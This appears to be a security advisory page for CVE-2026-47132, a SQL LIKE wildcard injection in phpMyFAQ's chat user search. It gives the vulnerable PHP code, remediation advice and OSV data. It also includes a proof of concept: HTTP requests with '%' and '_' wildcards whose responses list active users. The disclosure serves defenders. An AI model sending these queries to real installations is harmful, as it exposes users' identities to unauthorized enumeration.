CVE-2026-47132: phpMyFAQ SQL LIKE Wildcard Injection Vulnerability

MODERATE
Advisory Identifier: GHSA-6pvm-2vjj-rx4w
CVSS 5.4
CWE-89 CWE-20 CWE-200
Published
Advisory Summary

CVE-2026-47132 is a MODERATE (CVSS 5.4) sql like wildcard injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting phpMyFAQ libraries in the Packagist ecosystem. The issue involves sql like wildcard injection in chat user search allows authenticated user enumeration. Remediation is available by upgrading affected packages to version 4.2.0-alpha.

CVE-2026-47132 at a Glance

CVE Identifier CVE-2026-47132
GHSA Identifier GHSA-6pvm-2vjj-rx4w
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product phpMyFAQ
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-47132

To remediate this vulnerability, upgrade all affected phpMyFAQ dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

thorsten/phpmyfaq fixed: 4.2.0-alpha
Upgrade thorsten/phpmyfaq to 4.2.0-alpha
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for thorsten/phpmyfaq

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-47132, inspect your project dependencies for phpMyFAQ:

inspect dependencies for thorsten/phpmyfaq

Analyze the terminal output to locate any version of phpMyFAQ in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.2.0-alpha), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In phpMyFAQ, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape `%` and `_`, which remain active `LIKE` wildcards. ### Details The vulnerable endpoint is: ``` GET /api/chat/users?q=... ``` Source: ```php // phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php $query = trim($request->query->get('q', '')); if (mb_strlen($query) < 2) { return $this->json([ 'success' => true, 'users' => [], ], Response::HTTP_OK); } $chat = new Chat($this->configuration); $users = $chat->searchUsers($query, $this->currentUser->getUserId()); ``` Sink: ```php // phpmyfaq/src/phpMyFAQ/Chat.php $escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm)); $query = sprintf( "SELECT u.user_id, ud.display_name FROM %sfaquser u LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id WHERE u.user_id != %d AND u.user_id > 0 AND LOWER(ud.display_name) LIKE '%%%s%%' AND u.account_status = 'active' LIMIT %d", Database::getTablePrefix(), Database::getTablePrefix(), $excludeUserId, $escapedTerm, $limit, ); ``` `escape()` prevents SQL string breakout, but it does not escape SQL `LIKE` metacharacters. Therefore, attacker-controlled `%` and `_` are interpreted by the database as wildcards. The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it. ### PoC: Tested against: phpMyFAQ 4.2.0-alpha commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae Prerequisite: attacker has any valid authenticated user account. 1. Ensure there are multiple active users in the database, for example: ``` userId=2 displayName="Alice Finance" userId=3 displayName="Bob Support" userId=4 displayName="Carol Engineering" ``` 2. Send a normal query that should not match any user: ``` GET /api/chat/users?q=zz HTTP/1.1 Host: target Cookie: [authenticated session] ``` Observed response: ``` { "success": true, "users": [] } ``` 3. Send a wildcard query: ``` GET /api/chat/users?q=%25%25 HTTP/1.1 Host: target Cookie: [authenticated session] ``` Observed response: ``` { "success": true, "users": [ { "userId": 2, "displayName": "Alice Finance" }, { "userId": 3, "displayName": "Bob Support" }, { "userId": 4, "displayName": "Carol Engineering" } ] } ``` The same issue is reproducible with `_` wildcards: ``` GET /api/chat/users?q=__ HTTP/1.1 Host: target Cookie: [authenticated session] ``` Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while `q=%%` and `q=__` returned active users. ### Impact This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment. ### Video PoC: https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f

CVE-2026-47132 Affected phpMyFAQ Versions

1 component(s)
Fixed Versions:
4.2.0-alpha
Product / Package Ecosystem Affected Versions Fixed Version
thorsten/phpmyfaq
Packagist
< 4.2.0-alpha
4.2.0-alpha

References

Frequently Asked Questions

What is CVE-2026-47132?
CVE-2026-47132 is a security vulnerability in phpMyFAQ involving SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which phpMyFAQ versions are affected?
Affected versions include releases prior to 4.2.0-alpha across affected packages: thorsten/phpmyfaq.
What version fixes CVE-2026-47132?
Upgrading to 4.2.0-alpha (or the latest patched release for your respective branch) resolves the vulnerability.
Is thorsten/phpmyfaq affected?
Yes, thorsten/phpmyfaq is affected in releases prior to 4.2.0-alpha. Upgrade your dependency to 4.2.0-alpha or later.
What is the CVSS score of CVE-2026-47132?
CVE-2026-47132 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-47132?
CVE-2026-47132 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-47132?
Run the dependency tree command: 'inspect dependencies for thorsten/phpmyfaq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6pvm-2vjj-rx4w",
  "modified" : "2026-09-24T18:35:02Z",
  "published" : "2026-08-12T15:17:54Z",
  "aliases" : [ "CVE-2026-47132" ],
  "summary" : "phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration",
  "details" : "### Summary\n\n  An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search  filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape `%` and `_`, which remain active `LIKE` wildcards.\n\n  ### Details\n\n  The vulnerable endpoint is:\n```\n  GET /api/chat/users?q=...\n```\n  Source:\n```php\n  // phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php\n  $query = trim($request->query->get('q', ''));\n\n  if (mb_strlen($query) < 2) {\n      return $this->json([\n          'success' => true,\n          'users' => [],\n      ], Response::HTTP_OK);\n  }\n\n  $chat = new Chat($this->configuration);\n  $users = $chat->searchUsers($query, $this->currentUser->getUserId());\n```\n  Sink:\n```php\n  // phpmyfaq/src/phpMyFAQ/Chat.php\n  $escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm));\n\n  $query = sprintf(\n      \"SELECT u.user_id, ud.display_name\n       FROM %sfaquser u\n       LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id\n       WHERE u.user_id != %d\n         AND u.user_id > 0\n         AND LOWER(ud.display_name) LIKE '%%%s%%'\n         AND u.account_status = 'active'\n       LIMIT %d\",\n      Database::getTablePrefix(),\n      Database::getTablePrefix(),\n      $excludeUserId,\n      $escapedTerm,\n      $limit,\n  );\n```\n  `escape()` prevents SQL string breakout, but it does not escape SQL `LIKE` metacharacters. Therefore, attacker-controlled `%` and `_` are interpreted by the database as wildcards.\n\n  The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.\n\n  ### PoC: \n\n  Tested against:\n\n  phpMyFAQ 4.2.0-alpha\n  commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae\n\n  Prerequisite: attacker has any valid authenticated user account.\n\n  1. Ensure there are multiple active users in the database, for example:\n```\n  userId=2 displayName=\"Alice Finance\"\n  userId=3 displayName=\"Bob Support\"\n  userId=4 displayName=\"Carol Engineering\"\n```\n  2. Send a normal query that should not match any user:\n```\n  GET /api/chat/users?q=zz HTTP/1.1\n  Host: target\n  Cookie: [authenticated session]\n```\n  Observed response:\n```\n  {\n    \"success\": true,\n    \"users\": []\n  }\n```\n  3. Send a wildcard query:\n```\n  GET /api/chat/users?q=%25%25 HTTP/1.1\n  Host: target\n  Cookie: [authenticated session]\n```\n  Observed response:\n```\n  {\n    \"success\": true,\n    \"users\": [\n      {\n        \"userId\": 2,\n        \"displayName\": \"Alice Finance\"\n      },\n      {\n        \"userId\": 3,\n        \"displayName\": \"Bob Support\"\n      },\n      {\n        \"userId\": 4,\n        \"displayName\": \"Carol Engineering\"\n      }\n    ]\n  }\n```\n  The same issue is reproducible with `_` wildcards:\n```\n  GET /api/chat/users?q=__ HTTP/1.1\n  Host: target\n  Cookie: [authenticated session]\n```\n  Local confirmation was also performed by calling the vulnerable phpMyFAQ\\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while `q=%%` and `q=__` returned active users.\n\n  ### Impact\n\n  This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the  chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.\n\n### Video PoC:\n\nhttps://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.2.0-alpha"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-6pvm-2vjj-rx4w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-47132"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/commit/bd4b08b012234ccfcff07bfe6518062475b29e0a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-200", "CWE-89" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-12T15:17:54Z",
    "nvd_published_at" : "2026-09-24T17:17:04Z"
  }
}